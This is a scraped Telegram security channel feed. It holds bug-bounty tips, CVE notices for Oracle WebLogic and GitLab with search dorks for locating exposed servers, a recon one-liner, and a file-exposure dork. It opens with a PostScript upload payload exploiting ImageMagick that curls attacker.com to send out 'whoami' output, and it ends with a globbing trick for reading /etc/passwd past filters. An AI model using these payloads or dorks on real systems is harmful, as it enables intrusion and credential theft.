Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"Content-Type: application/pdf
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl http://attacker.com/?a=$(whoami|base64) ).putdeviceparams
quit
Please open Telegram to view this post
VIEW IN TELEGRAM
HackerOne
Semrush disclosed on HackerOne: Remote Code Execution on...
The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postnoscript to...
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postnoscript to...
🔥8👍1
⚡WayBackup Finder - A passive way to find backups/ sensitive information.
⚠️ https://github.com/anmolksachan/WayBackupFinder
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤1
CVE-2025-21535: Server Takeover in Oracle WebLogic, 9.8 rating 🔥
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
👍6🫡1
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11🔥5❤3
Please open Telegram to view this post
VIEW IN TELEGRAM
Brut Security pinned «▶️ Explore Bug Bounty POC Videos: https://news.1rj.ru/str/brutsecurity_poc»
New Business Logic POC Video Shared -https://news.1rj.ru/str/brutsecurity_poc/9
🔥4❤1
CVE-2025-0314 and other: Multiple vulnerabilities in GitLab, 4.3 - 8.7 rating❗️
In a recent advisory, GitLab writed about three vulnerabilities, including stored XSS, resource exhaustion, and protected CI/CD variables exfiltration.
Search at Netlas.io:
👉 Link: https://nt.ls/BNKS8
👉 Dork: http.favicon.hash_sha256:72a2cad5025aa931d6ea56c3201d1f18e68a8cd39788c7c80d5b2b82aa5143ef OR http.headers.set_cookie:"gitlab" OR http.headers.location:"gitlab"
Vendor's advisory: https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/
In a recent advisory, GitLab writed about three vulnerabilities, including stored XSS, resource exhaustion, and protected CI/CD variables exfiltration.
Search at Netlas.io:
👉 Link: https://nt.ls/BNKS8
👉 Dork: http.favicon.hash_sha256:72a2cad5025aa931d6ea56c3201d1f18e68a8cd39788c7c80d5b2b82aa5143ef OR http.headers.set_cookie:"gitlab" OR http.headers.location:"gitlab"
Vendor's advisory: https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/
🤝4
site:*.example.com (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)Please open Telegram to view this post
VIEW IN TELEGRAM
👍16🔥13❤1
echo "target.com" | gau --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,noscript \| grep -E "\.js($|\?.*)" \
| httpx -er "(?:(https?|ftp|git|ssh|telnet|smtp|imap|pop3|ldap|sftp|smb|nfs|rtmp|rtsp|ws|wss|irc|news|gopher|rsync|data):\/\/|\/)[^\s\"'\*\(\){};\\\^\$\&<>/\\?#]+(?:\?[^\s\"'<>/\\?#]+)?(?:\/[^\s\"'<>/\\?#]+)*" \-json -mr "application/javanoscript|text/javanoscript" \
| jq -r '.extracts[]' | tr -d '[],'Please open Telegram to view this post
VIEW IN TELEGRAM
❤20🔥16🐳1
Where is the reaction guys? It's a good way to support the channel, so please do leave your reaction to grow this community. Thanks!
⚠️ Join Our Discussion Group - https://news.1rj.ru/str/brutsec
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Discussion
Community Discussion
❤16🐳10🔥5
⚡Ultimate FFUF Cheat Sheet!
🔗https://medium.com/h7w/ultimate-ffuf-cheatsheet-advanced-fuzzing-tactics-for-pro-bug-hunters-492598750150
🔗
❤16🔥3👨💻1
This media is not supported in your browser
VIEW IN TELEGRAM
Top 10 OffSec Certifications - Salary Wise😱
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11
Use shell globbing / wildcard expansion. Here is an example
cat /e*c/p*s*d cat /etc/passwd. But how? Before cat runs, the shell expands the glob pattern /e*c/p*s*d to match actual files and directories in the filesystem.
/e*c:
/p*s*d:Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🫡7